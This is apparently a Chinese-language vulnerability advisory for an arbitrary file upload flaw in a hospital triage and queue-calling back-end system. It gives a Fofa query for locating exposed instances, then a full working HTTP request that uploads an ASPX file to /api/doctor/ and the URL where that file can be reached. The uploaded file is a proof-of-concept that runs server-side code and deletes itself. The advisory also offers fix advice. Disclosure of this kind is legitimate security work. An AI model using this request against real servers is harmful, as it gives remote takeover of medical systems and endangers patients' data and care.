0x01 产品描述:
北京神州视翰科技有限公司的分诊叫号后台系统是一个集成了多种功能的综合管理系统,旨在提升医疗机构的分诊和叫号效率,优化患者就医体验。
0x02 漏洞描述:
北京神州分诊叫号系统在/doctor接口处存在任意文件上传,攻击者可通过该漏洞在上传任意文件至服务器上从而实现远程接管。
0x03 搜索语句:
Fofa:title="分诊叫号后台"
0x04 漏洞复现:
POST /api/doctor/ HTTP/1.1
Host: your-ip
Content-Length: 756
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKZ5OA1LLddPA4mKc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: need_login=
Connection: close------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="doctorid"0
------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="login_id"001.aspx
------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="name"22
------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="title"23
------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="department"24
------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="description"------WebKitFormBoundaryKZ5OA1LLddPA4mKc
Content-Disposition: form-data; name="icon"; filename="11.txt"
Content-Type: text/aspx<%@ Page Language="C#"%><% Response.Write(123);System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
------WebKitFormBoundaryKZ5OA1LLddPA4mKc--
拼接访问路径:
http://your-ip/Web/images/001.aspx
0x05 修复建议:
首先确保系统限制了文件所必须的上传后缀,然后确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串,同时做到重命名上传的文件以避免可能导致现有文件被覆盖的冲突并且上传文件的存储目录禁用执行权限。